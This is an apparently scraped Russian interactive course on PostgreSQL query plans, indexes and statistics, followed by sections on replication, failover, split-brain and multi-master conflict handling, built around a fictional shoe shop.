Отчёт Олега соединяет покупателей и заказы. Соединение (JOIN) — это поиск пар строк из двух таблиц, у которых совпадает ключ: o.customer_id = c.id. Алгоритма три. Какой из них выбран, решает, быстрым будет отчёт или нет. Сложность каждого — на языке O(…); подробно про это — во вкладке .
🔁 Nested Loop — вложенный цикл
Для каждой строки внешнего набора ищем пары во внутреннем. Без индекса — перебором всего внутреннего: O(N × M). С индексом на ключе внутренней таблицы — спуском по дереву: O(N × log M).
Хорош: внешних строк мало (единицы–тысячи), у внутренней таблицы есть индекс. Первая строка результата готова сразу. Единственный способ для условий «не на равенство» (o.total > c.limit, диапазоны).
Опасен: если оценка внешних строк ошиблась — вместо 3 000 проходов будет 300 000.
#️⃣ Hash Join — через хеш-таблицу
Меньший набор целиком загружается в память в виде хеш-таблицы (узел Hash): по ключу сразу видно, в какой «ящик» смотреть. Затем больший набор читается один раз, и для каждой строки проверяется её ящик: O(N + M).
Хорош: большие наборы без полезных индексов, соединение по равенству. Цена: память — work_mem × hash_mem_multiplier (по умолчанию × 2). Не влезло — таблица режется на части (Batches: 16), части уходят во временные файлы на диске. Первая строка — только после построения всей хеш-таблицы.
🤐 Merge Join — слияние
Оба набора отсортированы по ключу; идём по ним одновременно сверху вниз, как застёжка-молния. Если сортировать нужно — O(N log N + M log M), если оба уже упорядочены индексами — O(N + M).
Хорош: оба набора большие и уже отсортированы (индексы по ключу соединения), или результат всё равно нужен в этом порядке. Работает для FULL JOIN. Цена: сортировка, если порядка нет.
Посмотрите вживую на маленьких таблицах
8 заказов и 5 покупателей. Соединяем по orders.customer_id = customers.id. Выберите алгоритм и жмите «Дальше». Считаем «действия»: сравнения, спуски по индексу, вставки в хеш-таблицу.
Калькулятор: какое соединение выиграет на больших таблицах
Внешний набор — строки, для которых ищем пары (например, покупатели из Казани). Внутренний — где ищем (заказы). Времена — порядок величин: 10 нс на сравнение в памяти, 5 мкс на спуск по индексу, 0,2 мкс на строку в хеш-соединении.
Hash Semi Join и Nested Loop Semi Join — для EXISTS и IN (подзапрос): достаточно найти одну пару. Hash Anti Join — для NOT EXISTS: «покупатели без заказов». Hash Left Join и Hash Right Join — внешние соединения (LEFT JOIN); «Right» часто значит лишь то, что планировщик поменял стороны местами, чтобы строить хеш по меньшему набору. Inner Unique: true (в VERBOSE) — планировщик знает, что пара будет не больше одной, и прекращает поиск после первой.глава 9 · остальные узлы сортировка, группировка, LIMIT и ещё десяток узлов
Кроме чтения таблиц и соединений в планах встречаются узлы, которые что-то делают со строками: сортируют, считают итоги, обрезают. Выберите узел — увидите, как он выглядит в плане, что делает и чем опасен.
Сортировка в памяти или на диске: покрутите сами
Сортировка — частый пожиратель времени. Пока всё помещается в work_mem, PostgreSQL сортирует в памяти (quicksort). Не помещается — режет на куски, сортирует каждый, пишет во временные файлы и потом сливает (external merge). С LIMIT хватает «кучи» из нескольких лучших строк (top-N heapsort).
ALTER ROLE report SET work_mem = '256MB'.глава 10 · статистика откуда планировщик знает, сколько строк его ждёт
Все стоимости начинаются с одного числа: сколько строк вернёт каждый шаг. Ошибка здесь — главная причина плохих планов. Отчёт Олега сломался именно так.
ANALYZE: сколько в таблице строк и страниц (pg_class.reltuples, relpages) и для каждой колонки — доля пустых значений, число разных значений, самые частые значения и распределение остальных (представление pg_stats).Что лежит в pg_stats
SELECT attname, null_frac, n_distinct, most_common_vals, most_common_freqs, correlation
FROM pg_stats WHERE tablename = 'customers' AND attname = 'city';
attname | null_frac | n_distinct | most_common_vals | most_common_freqs | correlation
---------+-----------+------------+-------------------------------------+----------------------------+-------------
city | 0.0011 | 1123 | {Москва,Санкт-Петербург,…,Казань,…} | {0.2107,0.0893,…,0.0042,…} | 0.0137
Как отсюда получилось rows=2100 для city = 'Казань': Казань есть в списке частых значений с долей 0,0042. 0,0042 × 500 000 = 2 100. Для значения, которого нет в списке, база делит оставшуюся долю поровну между остальными разными значениями. Для диапазона (created_at >= '2026-09-01') — считает, сколько корзин гистограммы лежит правее границы.
Модель: как устаревшая статистика ломает отчёт Олега
Слева — что на самом деле лежит в таблице customers. Справа — что думает планировщик. Нажимайте кнопки по порядку и смотрите, какой план он выберет для отчёта «заказы покупателей из Казани за сентябрь».
Автоматический ANALYZE и почему он опаздывает
Процесс автовакуум (autovacuum) сам запускает ANALYZE для таблицы, когда в ней изменилось больше autovacuum_analyze_threshold + autovacuum_analyze_scale_factor × строк, по умолчанию 50 + 10 %. Проверяет он раз в минуту (autovacuum_naptime), если свободен.
ANALYZE таблица в том же скрипте. 2) Огромные таблицы: 10 % от миллиарда строк — это 100 миллионов изменений до следующего ANALYZE; для них порог снижают: ALTER TABLE orders SET (autovacuum_analyze_scale_factor = 0.01). 3) Секционированные таблицы: автовакуум обрабатывает секции, но не родительскую таблицу — её статистику собирают ручным ANALYZE. Временные таблицы автовакуум не трогает вовсе.Зависимые колонки: когда база перемножает то, что нельзя
Для условия city = 'Казань' AND region = 'Татарстан' PostgreSQL по умолчанию считает колонки независимыми и перемножает доли: 0,42 % × 0,61 % = 0,0026 % → 13 строк. А на деле все казанцы — из Татарстана: 2 093 строки. Ошибка в 160 раз, и снова Nested Loop там, где нужен Hash Join.
CREATE STATISTICS имя (dependencies, ndistinct, mcv) ON колонка1, колонка2 FROM таблица; и затем ANALYZE. dependencies — насколько одна колонка определяет другую, ndistinct — число разных сочетаний (для GROUP BY), mcv — самые частые сочетания.глава 11 · индексы глубже какой индекс создать и почему он иногда не работает
Во вкладке индекс был «алфавитным указателем». Здесь заглянем внутрь: как устроено дерево, почему важен порядок колонок и какие ещё бывают индексы. Здесь всё — для PostgreSQL; общие идеи верны и для других баз.
B-дерево: почему три страницы на пять миллионов строк
B-дерево умеет: =, < > BETWEEN, IN, IS NULL, отдавать строки в порядке ключа (для ORDER BY и LIMIT), LIKE 'abc%' — поиск по началу строки, но только если индекс создан с правилом сравнения «C» или со специальным классом операторов text_pattern_ops. Не умеет: LIKE '%abc', поиск внутри JSON и массивов, «ближайшие точки на карте».
Составной индекс и правило самой левой колонки
CREATE INDEX ON orders (customer_id, created_at). Записи отсортированы сначала по первой колонке, а при равной первой — по второй.Правило самой левой колонки: индекс эффективно сужает поиск, только если в условии есть первая колонка (равенство), потом вторая и так далее. Диапазон (>=) на колонке «закрывает» использование следующих за ней колонок для сужения — они проверяются, но уже внутри прочитанного отрезка. Поэтому правило проектирования: сначала колонки с равенством, потом колонка с диапазоном или сортировкой.
(status, created_at) теперь помогает запросу WHERE created_at >= '2026-09-01': база делает по одному короткому спуску для каждого из пяти статусов. Выгодно, только когда у первой колонки мало разных значений. Для customer_id с 400 000 значений — 400 000 спусков, бессмысленно. В MySQL 8.0 и Oracle похожий приём (Skip Scan) существует давно.Лаборатория составного индекса. Выберите индекс и условие. Ниже — 24 записи индекса в том порядке, в котором они лежат в дереве. Жёлтые — прочитаны, зелёные — подошли. Чем меньше жёлтых вокруг зелёных, тем лучше индекс подходит запросу.
Какие ещё бывают индексы
Выберите тип — увидите, как он устроен, что ускоряет и как создаётся.
Индекс есть, а база им не пользуется
Самая раздражающая категория проблем. Разложите запросы: сработает ли обычный B-tree индекс по указанной колонке. Решено 0 из 0.
Цена индексов
✍️ Каждая запись дороже
INSERT в таблицу с пятью индексами — это шесть записей: строка и пять вставок в деревья. Плюс журнал WAL для каждой.
🔥 Ломается HOT-обновление
Если UPDATE меняет колонки, которых нет ни в одном индексе, и на странице есть место, PostgreSQL делает быстрое HOT-обновление (heap-only tuple) — индексы не трогаются вовсе. Индекс на часто меняемой колонке (например, updated_at) лишает таблицу этой экономии.
🔒 Создание блокирует запись
Обычный CREATE INDEX запрещает запись в таблицу на всё время построения. На боевой базе — только CREATE INDEX CONCURRENTLY: дольше, зато без остановки. Если он упал — останется «невалидный» индекс, его надо удалить и создать заново.
глава 12 · инструменты как найти медленный запрос, если никто не пожаловался
EXPLAIN отвечает на вопрос «почему этот запрос медленный». Но сначала надо узнать, какой запрос медленный. Анна пожаловалась — хорошо. А сколько запросов тормозят молча? Для этого у базы есть счётчики и журналы. Борис начал именно с них.
Выберите инструмент: что он показывает, как включить, как выглядит результат и на что смотреть.
total_exec_time.глава 13 · болезни восемь типовых болезней запросов и как их узнать по плану
Большинство проблем с производительностью — не уникальные, а одни и те же восемь болезней. У каждой — свой симптом в плане и своё лечение. Выберите болезнь.
N+1: посчитайте, сколько стоит «удобный» код
На странице «Мои заказы» 20 заказов. ORM загружает список одним запросом, а потом для каждого заказа отдельно — его товары. Каждый запрос быстрый, но у каждого есть поездка по сети до базы и обратно.
OFFSET против курсора: страница 5000 ленты заказов
Олег листает все заказы по 20 на страницу. OFFSET 100000 LIMIT 20 означает: «прочитай 100 020 строк, первые 100 000 выброси». Курсорная пагинация (keyset) помнит, где остановились: «дай 20 заказов старше последнего показанного».
глава 14 · процесс «запрос тормозит»: восемь шагов Бориса — и как аналитику писать требования
Вернёмся в понедельник. Вот что сделал Борис — по шагам, с командами и выводом. Этот порядок годится для любой базы и любого запроса.
Что из этого нужно аналитику
Аналитик не обязан создавать индексы. Но именно в требованиях решается, будет ли у разработчика шанс сделать быстро. Запрос «покажи всё за всё время с поиском по любой части текста и сортировкой по любой колонке» не спасёт никакой индекс. Хорошие нефункциональные требования к данным отвечают на вопросы ниже.
Примеры формулировок
-- НФТ-1. Производительность страницы «Мои заказы» 95 % ответов API GET /customers/{id}/orders — не дольше 300 мс, 99 % — не дольше 800 мс; при 5 млн заказов в базе (через 3 года — 20 млн) и нагрузке 200 запросов в секунду. У покупателя бывает до 50 000 заказов (оптовые клиенты) — время ответа то же. Показываем 20 заказов, кнопка «Показать ещё» (курсорная пагинация), перехода на страницу N нет. -- НФТ-2. Отчёт «Топ-100 покупателей за год» Строится не дольше 30 с по данным за текущий год; запускается на реплике для отчётов, а не на основной базе; допустимое отставание данных — 15 минут. Плановый запуск — в окне 01:00–05:00 по Москве. -- НФТ-3. Поиск покупателя в админке Поиск по email: по началу строки — обязательно, по подстроке — желательно (требует отдельного триграммного индекса: он занимает место и замедляет запись). Ответ — не дольше 1 с на 1 млн покупателей. -- НФТ-4. Массовая загрузка данных партнёров Загрузка — вне пиковых часов (не 10:00–22:00); после загрузки обязательно обновить статистику затронутых таблиц (ANALYZE); время загрузки 1 млн строк — не более 20 минут; на время загрузки основные сценарии не должны замедляться больше чем на 20 %.
глава 15 · прочитай план шесть планов с болезнями: найдите, где проблема
Каждый план — реальная ситуация «Ботинка» за последний месяц. Прочитайте план снизу вверх, найдите узел или строку, где кроется проблема, и выберите диагноз. После ответа — разбор.
Решено 0 из 0.
глава 16 · проверь себя двенадцать вопросов по всему разделу
Решено 0 из 0.
Одна база — это одна точка, где магазин может умереть и потерять заказы. Репликация держит несколько копий базы, а переключение делает одну из копий главной, когда главная сломалась. Звучит просто. На деле здесь живут самые дорогие аварии: заказ, которому сказали «сохранено», исчезает; два сервера одновременно считают себя главными. Весь раздел — одна ночь распродажи в «Ботинке». Мы разберём её по секундам и дадим вам пульт, на котором всё это можно сломать своими руками.
зачем это зачем архитектору и аналитику понимать репликацию
карта раздела одна ночь распродажи, пятнадцать глав
Читайте по порядку: каждая глава опирается на предыдущую. Основа про реплики и кворум уже есть в разделе (главы 8–9). Здесь мы идём глубже: что именно летит по сети, в какой момент клиенту говорят «сохранено» и как переключиться, ничего не потеряв и не расколов данные. Кнопка переносит к главе.
глава 1 · завязка 03:12, распродажа: у главной базы сгорел диск
Ночь «чёрной пятницы». «Ботинок» продаёт по 40 заказов в секунду. Все заказы, остатки и оплаты живут в одной базе PostgreSQL на одном сервере. В 03:12:07 на этом сервере сгорает контроллер дисков. Сервер жив, но диск недоступен.
Анна успела нажать «Оформить» в 03:12:06,9 и увидела «Заказ №1042 оформлен». Деньги с карты списаны. Дежурный разработчик Борис проснулся от звонка. Что дальше — зависит от того, есть ли у базы копии.
Копий нет — только ночной бэкап
Бэкап сделан в 00:00. Борис поднимает новый сервер и заливает бэкап — это пара часов. Всё, что случилось с полуночи до 03:12, потеряно: около трёх часов заказов. Заказа Анны нет, а деньги списаны. Магазин стоит всё время восстановления.
Есть копия, которая постоянно догоняет главную
Копия отстаёт на доли секунды. Её объявляют главной — и через 30–60 секунд магазин снова принимает заказы. Потерять можно только то, что копия не успела получить: несколько последних заказов. А при правильной настройке — ни одного.
Три причины держать копии
Пройдите схему по шагам. Каждая причина — отдельная беда, которую копии лечат, и у каждой своя цена.
DELETE FROM orders; без условия, удаление за доли секунды уедет на все реплики. Реплики защищают от поломки железа, а не от ошибок людей и программ. От ошибок спасают бэкапы и восстановление на момент времени (point-in-time recovery). Нужны оба инструмента.глава 2 · роли лидер и последователи: кто пишет, кто повторяет
Самая распространённая схема в мире — один главный сервер и несколько копий. У неё много имён, и это путает новичков. Разберёмся раз и навсегда.
Почему уходят от слов master/slave
Пару master/slave («хозяин/раб») с 2018–2020 годов заменяют во многих проектах. Причин две. Первая — сами слова неприятные и отсылают к рабству. Вторая, инженерная, — они неточны. Роль «главного» — не свойство сервера, а временная должность: при переключении вчерашняя реплика становится лидером. Пара «лидер/последователь» это и передаёт.
| Система | Кто пишет | Кто повторяет | Заметка |
|---|---|---|---|
| PostgreSQL | primary | standby (hot standby — если с него можно читать) | Слова primary/standby в документации давно |
| MySQL | source | replica | С версии 8.0.22 появились команды SHOW REPLICA STATUS, START REPLICA вместо старых со словом SLAVE |
| MongoDB | primary | secondary | Группа копий называется replica set |
| Redis | master | replica | С версии 5.0 команда REPLICAOF вместо SLAVEOF |
| Kafka, etcd, Raft | leader | follower | Лидера выбирают сами узлы голосованием |
Правило, на котором держится всё
Пишем только в мастер. Читаем — откуда можно. Мастер записывает правку у себя и рассылает её репликам. Реплики не принимают запись от клиентов вообще: иначе копии разойдутся и не будет способа понять, какая правильная.
С чтением сложнее. Реплика отстаёт от мастера — обычно на миллисекунды, иногда на секунды. Поэтому «откуда можно» зависит от того, что именно читаем. Потренируйтесь: разложите запросы «Ботинка».
Решено 0 из 0.
глава 3 · журнал как правка с мастера попадает на реплику
Реплика не «копирует базу» целиком каждый раз. Она получает журнал — список изменений по порядку — и повторяет их у себя. Чтобы понять репликацию, надо понять журнал.
0/5A3F2C0: это просто номер байта в бесконечной ленте журнала, записанный двумя шестнадцатеричными числами. Чем больше LSN, тем дальше по ленте.Пройдите путь одного заказа Анны от кнопки до реплики. На каждом шаге — что происходит и что видно в системе.
Физическая и логическая репликация
Журнал можно пересылать двумя способами. Это важно знать, потому что способы решают разные задачи.
MySQL: журнал операторов или журнал строк
В MySQL журнал для реплик называется binlog (двоичный журнал). У него исторически было три формата: STATEMENT — пишем сам SQL-запрос, ROW — пишем, какие строки как изменились, и MIXED — смесь. Разница видна на запросах с «случайностью». Выберите запрос и посмотрите, что уйдёт в журнал и совпадёт ли реплика с мастером.
binlog_format объявлена устаревшей с версии 8.0.34: в будущем останется только журнал строк. А в PostgreSQL выбора нет вовсе — физическая репликация шлёт байты, логическая — изменения строк.Как реплика помнит, где остановилась
PostgreSQL: LSN
Реплика сообщает мастеру три позиции: до какой получила (write), до какой надёжно сохранила на диск (flush) и до какой применила (replay). Мастер видит их в представлении pg_stat_replication. Разница между LSN мастера и replay реплики — это отставание в байтах.
MySQL: GTID
GTID (global transaction identifier) — номер транзакции вида 3E11FA47-71CA-11E1-9E33-C80AA9429562:23: идентификатор сервера, где транзакция родилась, и её порядковый номер. Реплика помнит набор выполненных GTID и при переключении на другой источник сама говорит: «у меня есть всё до :23, шлите дальше».
Слот репликации
Мастер удаляет старый журнал, чтобы не занять весь диск. Если реплика отстанет сильнее, чем мастер хранит, её придётся заливать заново. Слот репликации (replication slot) обещает хранить журнал, пока реплика его не заберёт. Цена: застрявшая реплика со слотом может заполнить диск мастера — поэтому ставят предел max_slot_wal_keep_size.
Отставание в секундах
Байты удобны машине, людям нужны секунды. В pg_stat_replication есть колонки write_lag, flush_lag, replay_lag. За ними следят как за любой метрикой — с порогом и оповещением. Подробнее о метриках — в разделе .
глава 4 · «сохранено» в какой момент клиенту говорят «ваш заказ сохранён»
Это главный вопрос репликации. Мастер записал заказ Анны у себя. Отвечать ей «сохранено» сейчас или подождать, пока копия тоже запишет? Ответ определяет, сколько заказов потеряется при аварии и насколько медленнее станет каждая запись.
Два числа, которыми меряют аварию
RPO — сколько данных можно потерять
RPO (recovery point objective, целевая точка восстановления) — за какой промежуток перед аварией допустимо потерять данные. «RPO = 5 секунд» значит: заказы последних пяти секунд перед сбоем могут пропасть, более ранние — нет. RPO = 0 — не теряем ничего подтверждённого.
RTO — как быстро вернуться
RTO (recovery time objective, целевое время восстановления) — сколько времени система может не работать после аварии. «RTO = 60 секунд» значит: через минуту магазин снова принимает заказы.
Три режима на секвенсах
Время идёт сверху вниз. Жмите «Дальше →» и читайте пояснение под схемой: что именно ждёт мастер и что будет, если на этом шаге всё сломается.
PostgreSQL: лестница из пяти ступеней
В PostgreSQL момент ответа клиенту задаёт настройка synchronous_commit, а список реплик, которых надо ждать, — synchronous_standby_names. Ступени идут от быстрой и рискованной к медленной и надёжной. Нажмите на ступень.
# postgresql.conf на мастере synchronous_commit = on # ждать, пока реплика сохранит журнал на диск synchronous_standby_names = 'ANY 1 (b, c, d)' # подтверждение от ЛЮБОЙ одной из трёх # варианты: # 'FIRST 1 (b, c)' — ждать b; если b недоступна — ждать c (по приоритету) # 'ANY 2 (b, c, d)' — кворум: любые две из трёх # '' — пусто: репликация асинхронная
ANY 1 из двух-трёх реплик, а инструменты вроде Patroni умеют снимать требование, когда реплик не осталось (об этом — в главе 10).rpl_semi_sync_source_timeout — по умолчанию 10 секунд. Не дождался — молча переходит в асинхронный режим и продолжает отвечать «сохранено». Удобно для доступности, опасно для RPO: за этим состоянием надо следить (переменная статуса Rpl_semi_sync_source_status) и поднимать тревогу.глава 5 · пульт пульт репликации: база, которую можно ломать
Это живая модель базы «Ботинка»: мастер A и три реплики B, C, D. Сверху покупатели оформляют заказы. Каждый заказ летит в мастер, мастер пишет его в журнал и рассылает журнал репликам — вы видите пакеты. Под каждым узлом — позиция в журнале (LSN) и последние записи.
Нажмите «▶ Поток заказов». Потом меняйте режим, двигайте задержку сети и ломайте: убейте мастер, порвите сеть, замедлите реплику. Справа журнал событий объясняет каждое действие. Внизу — сколько подтверждённых заказов потеряно и фактические RPO и RTO.
Почему картина такая
Задания пульта
Журнал событий t = 0,0 с
глава 6 · отставание три способа увидеть на реплике не то
Реплика всегда немного позади мастера. Обычно это миллисекунды, и никто не замечает. Но под нагрузкой, при длинном отчёте на реплике или при медленной сети отставание вырастает до секунд и минут. Тогда пользователь видит странное. У этих странностей есть имена — и у каждой своё лекарство.
Базовый случай «сохранил и не вижу» с ползунком отставания уже есть в разделе (глава 8). Здесь — все три аномалии, которые описывает теория согласованности (подробнее — в разделе ). В каждой — сцена по шагам и переключатель лечения.
глава 7 · переключение failover по секундам: от смерти мастера до первого заказа
Ниже — проигрыватель. Схема как у «Ботинка»: PostgreSQL на трёх серверах, на каждом агент Patroni, который следит за базой. Кто сейчас мастер, записано в etcd — маленьком надёжном хранилище из трёх узлов. Перед базами стоит прокси HAProxy, приложения ходят через него. Время — реальное, с настройками Patroni по умолчанию. Выберите сценарий и идите по шагам.
Из чего складывается время переключения
1. Обнаружение — самая долгая часть
Нельзя объявить мастер мёртвым по одному пропущенному сигналу: сеть моргает, процессы замирают. Поэтому ждут таймаут — в Patroni это ttl, 30 секунд. Короче таймаут — быстрее переключение, но чаще ложные тревоги.
2. Выбор — кто самый свежий
Кандидаты сравнивают позиции в журнале (LSN). Побеждает тот, кто дальше всех: он потеряет меньше. Реплики, отставшие больше порога (maximum_lag_on_failover, по умолчанию 1 МБ журнала), в выборах не участвуют.
3. Повышение (promote)
Реплика дочитывает полученный журнал, выходит из режима восстановления и начинает принимать запись. В PostgreSQL — pg_ctl promote или функция pg_promote(). Начинается новая «линия времени» (timeline) — у журнала появляется развилка.
4. Перенаправление
Остальные реплики переключают на нового мастера. Клиентов направляют туда же — через прокси, DNS, виртуальный IP или драйвер (глава 8). Пока клиенты не узнали новый адрес, для них переключения не было.
Ручное или автоматическое
Ручное: человек решает
Система поднимает тревогу, дежурный смотрит и командует. Плюс: человек отличит «мастер мёртв» от «сеть моргнула» и не устроит два мастера. Минус: ночью это 10–40 минут: пока проснулся, зашёл, разобрался. Годится, если RTO — час.
Автоматическое: решает кворум
Агенты сами обнаруживают, выбирают и повышают. Плюс: 30–60 секунд вместо получаса. Минус: автомат не видит всей картины и может ошибиться. Поэтому автоматике нужны кворум и ограждение (глава 9) — без них автоматическое переключение опаснее ручного.
pg_rewind) или залить заново с нового мастера, и только потом подключить репликой. Лишние записи при этом вырезаются. Если они важны, их достают из старого журнала руками — и это должно быть описано в регламенте заранее.глава 8 · клиенты как приложение узнаёт, что мастер теперь другой
Новый мастер повышен. Но приложение «Ботинка» по-прежнему стучится по старому адресу. Переключение закончилось только тогда, когда клиенты пишут в нового мастера. Способов направить их — пять, и у каждого своя задержка и свои грабли.
Посчитайте: сколько секунд клиенты стучатся в пустоту
Полное время без записи — это обнаружение + выбор + повышение + перенаправление клиентов. Двигайте ползунки и выбирайте способ перенаправления.
глава 9 · раскол два мастера сразу: split-brain и как его не допустить
Самая дорогая авария репликации случается не когда мастер умер, а когда он жив, но его не видно. Порвалась сеть между дата-центрами. Автоматика видит: мастер не отвечает. Повышает реплику. А старый мастер работает, и приложения рядом с ним продолжают в него писать.
Корень проблемы: мёртвый и отрезанный выглядят одинаково
Узел не отвечает. Он умер? Замер? Или просто до него не доходит сеть? Снаружи эти три случая неотличимы. Значит, нельзя строить защиту на надежде «если не отвечает — значит, мёртв». Защита строится на трёх приёмах.
1. Кворум
Мастером можно стать, только если тебя поддержало большинство узлов-голосующих. Большинство из 3 или 5 может быть только одно. Меньшинство за разрывом сети мастера выбрать не может.
2. Ограждение
Fencing — прежде чем повысить нового мастера, старого гарантированно лишают возможности писать: выключают питание, отрезают от диска или от сети.
3. Аренда
Lease — право быть мастером выдаётся на время. Не продлил вовремя — обязан сам перестать принимать запись, даже если сеть ничего не сказала.
Кворум и третий дата-центр
Типичная ошибка — поставить голосующие узлы в два дата-центра поровну. Раскладывайте узлы etcd по площадкам и смотрите, что переживёт кластер.
Ограждение: STONITH и токены
Секвенс ниже показывает, зачем токен нужен даже при аренде. Процесс-лидер замер на сборке мусора (garbage collection, GC) — пауза, когда программа на Java или Go останавливается, чтобы почистить память. Пока он стоял, аренда истекла. Проснувшись, он не знает об этом.
Почему автоматическому переключению нужен консенсус
Вопрос «кто сейчас мастер» — это вопрос, на который все узлы должны ответить одинаково, даже когда часть из них отрезана, а часть замерла. Задача называется консенсус. Её нельзя решить скриптом «пингуй мастер и повышай реплику» — такой скрипт и устраивает раскол. Её решают специальные протоколы: Raft (в etcd, Consul), ZAB (в ZooKeeper), Paxos. Самодельного консенсуса не бывает: бывает консенсус с ошибкой, которую ещё не нашли. Как он устроен внутри — в следующем разделе .
глава 10 · инструменты кто делает переключение в реальных системах
Самому писать автоматическое переключение не нужно и опасно. Для каждой популярной базы есть проверенные инструменты. Аналитику не надо уметь их настраивать, но надо понимать, что каждый обещает: как быстро переключает, может ли потерять подтверждённую запись и что защищает от двух мастеров. Нажмите на строку таблицы — раскроется разбор.
Как это выглядит в конфигурации
Выберите инструмент — покажем главный кусок настроек с пояснениями по строкам.
глава 11 · мульти-мастер два региона пишут одну запись: кто прав?
«Ботинок» открыл склад и офис в Новосибирске. Писать каждый заказ через всю страну в московский мастер — это 40–60 миллисекунд туда и обратно на каждый запрос. Хочется, чтобы в каждом регионе был свой мастер. Так появляется мульти-мастер.
Зачем берут
Быстрая запись рядом с пользователем в каждом регионе. Регион живёт, даже если связь с другими порвалась. Офлайн-приложения (заметки, календари) — тоже мульти-мастер: каждый телефон — свой «мастер».
Чем платим
Конфликты. Одну и ту же запись могут одновременно поменять в двух местах. Кто-то должен решить, какой вариант останется. Все способы решить — со своими потерями. Ограничения вроде «уникальный e-mail» или «остаток не меньше нуля» между регионами не соблюдаются сами.
Разрешите конфликт сами
В 12:00:00 Москва и Новосибирск почти одновременно меняют одну запись. Выберите, что меняют, и стратегию разрешения. Ползунок — насколько врут часы новосибирского сервера. Смотрите, что останется в обоих регионах после синхронизации и что потеряется.
Последняя запись побеждает (LWW)
Last write wins — у каждой записи метка времени, при конфликте остаётся запись с большей меткой. Просто и всегда сходится. Но проигравшая запись молча теряется, а «позже» определяют часы серверов — а они расходятся на миллисекунды и больше. Почему часам нельзя верить — в разделе .
Версии и векторные часы
Каждый узел ведёт счётчик своих правок. По таким векторам версий видно, узнала ли одна правка о другой. Если нет — правки параллельны, это конфликт. База не выбирает сама, а хранит обе версии («братьев», siblings) и отдаёт приложению: решай.
Слияние по правилу
Приложение знает смысл данных и сливает сам: объединить корзины, взять больший статус заказа («отправлен» сильнее «оплачен»), показать человеку обе версии адреса. Правило пишет аналитик — это бизнес-решение, а не техническое.
CRDT
CRDT (conflict-free replicated data types) — типы данных, которые сливаются всегда одинаково и без потерь при любом порядке доставки: счётчики, множества, списки. Счётчик хранит «сколько прибавил и отнял каждый регион», а не итог. Цена: подходят не все данные, и объём метаданных растёт.
глава 12 · без лидера Cassandra и DynamoDB: когда главного нет вовсе
Есть третий путь — не выбирать мастера совсем. Клиент (или любой узел-координатор) пишет сразу в несколько копий и читает сразу из нескольких. Так устроена Amazon Dynamo (статья 2007 года), а за ней Cassandra, ScyllaDB, Riak. Переключения нет, потому что нечего переключать: упавший узел просто не отвечает, а остальные работают.
W + R > N чтение обязательно заденет свежую копию.Сама формула с ползунками N, W, R разобрана в разделе (глава 9). Здесь — вопрос глубже: как отставшие копии догоняют, если мастера, рассылающего журнал, нет? Механизмов три. Пройдите схему.
max_hint_window — по умолчанию 3 часа.Найдите расхождение деревом Меркла
У двух копий по 8 диапазонов ключей, в каждом тысячи строк. В одном диапазоне копии разошлись. Каждый квадратик — хеш: короткий «отпечаток» содержимого. Родитель — хеш от хешей детей. Жмите «Сравнить шаг» — сверка идёт сверху вниз и спускается только туда, где отпечатки разные.
gc_grace_seconds — по умолчанию 10 дней — и потом вычищаются. Если узел пролежал выключенным дольше, а сверку не запускали, он вернёт удалённые строки к жизни: «зомби-данные». Поэтому регламент «запускать repair чаще, чем раз в 10 дней» — не прихоть администратора, а условие правильности данных.глава 13 · расстояния и девятки скорость света и минуты простоя в год
Две вещи, которые нельзя обмануть настройками. Первая: сигнал по оптоволокну идёт примерно 200 000 километров в секунду — это 200 километров за миллисекунду. Синхронная реплика в другом городе добавляет к каждой записи как минимум дорогу туда и обратно. Вторая: каждый отказ стоит минут простоя, и сумма этих минут за год и есть ваша «доступность».
Где поставить синхронную копию
Калькулятор девяток и потерь
Теперь посчитайте «Ботинок». Сервер базы в среднем работает 99,5 % времени (то есть ломается или обслуживается 44 часа в год). Что дают реплики и автоматическое переключение?
глава 14 · требования как аналитику написать требования к репликации
Утром после распродажи аналитик Олег садится писать требования. Слова «система должна быть надёжной» и «высокодоступной» ничего не значат: их нельзя проверить. Хорошее требование содержит число, условие и способ проверки.
| Плохо | Хорошо | Что это даёт команде |
|---|---|---|
| Данные не должны теряться | RPO для заказов и платежей = 0: подтверждённый клиенту заказ сохраняется минимум на двух серверах в разных зонах доступности. Для истории просмотров RPO ≤ 5 мин. | Полусинхронная репликация для заказов; для просмотров хватит асинхронной |
| Система должна быстро восстанавливаться | При отказе сервера базы запись заказов возобновляется не позднее чем через 60 с автоматически, без участия дежурного. Проверяется ежеквартальными учениями. | Автоматическое переключение, ttl ≈ 30 с, прокси с проверкой, учения |
| Высокая доступность 24/7 | Доступность оформления заказа — 99,95 % за календарный месяц (не более 22 мин простоя), без учёта согласованных окон работ. | Ясно, сколько отказов и какой длины допустимо |
| Пользователь видит актуальные данные | После сохранения профиля пользователь в той же сессии видит изменения. Каталог и отзывы могут отставать до 5 с. | Чтение своих записей с мастера или по LSN; каталог — с реплик |
| Нужна гео-репликация | При потере дата-центра целиком: RPO ≤ 10 с, RTO ≤ 30 мин, переключение ручное по решению дежурного руководителя. | Асинхронная реплика в другом городе; ручное решение исключает раскол |
| Два мастера для надёжности | Одновременная запись в двух регионах недопустима для остатков и платежей; для корзин допустима с объединением содержимого при конфликте. | Мульти-мастер только там, где аналитик описал правило слияния |
Подберите решение под требование
Решено 0 из 0.
Частые ошибки
Нажмите на пункт, чтобы раскрыть.
глава 15 · проверь себя задачи из жизни
Если ответ не очевиден, вернитесь к главе: режимы (4), аномалии (6), переключение (7–8), раскол (9), мульти-мастер (11), без лидера (12).
Решено 0 из 0.
Консенсус — это способ, которым несколько серверов договариваются об одном и том же, даже когда часть из них падает, а сеть теряет сообщения. Без него у системы однажды появляются «два главных» — и последнюю пару кроссовок продают двоим. Весь раздел — одна история. В пятницу в «Ботинке» случился такой «двуглавый» вечер. После него архитектор Марина ставит кластер из пяти узлов на алгоритме Raft. Мы по шагам разберём, как узлы выбирают лидера, как одна запись становится «подтверждённой» и почему два лидера не могут подтверждать записи одновременно. И будем ломать всё это на живой модели.
зачем это зачем аналитику и архитектору понимать консенсус
карта раздела одна история, шестнадцать глав
Главы идут по порядку: каждая опирается на предыдущую. Самое наглядное — живой кластер в главе 5: к нему возвращаются почти все следующие главы. Кнопка переносит к главе.
глава 1 · завязка пятница, 21:05: у «Ботинка» два главных склада
У магазина «Ботинок» есть сервис резервов. Он помнит, сколько пар каждого размера осталось на складе, и не даёт продать больше, чем есть. Чтобы сервис не падал, разработчик Борис поставил две копии: главную и запасную. Они стоят в разных стойках серверной.
Запасная копия каждые полсекунды спрашивает главную: «ты жива?». Правило переключения Борис написал сам: «если главная молчит 3 секунды — становлюсь главной». Правило выглядит разумно. Пройдите по шагам, что случилось в пятницу.
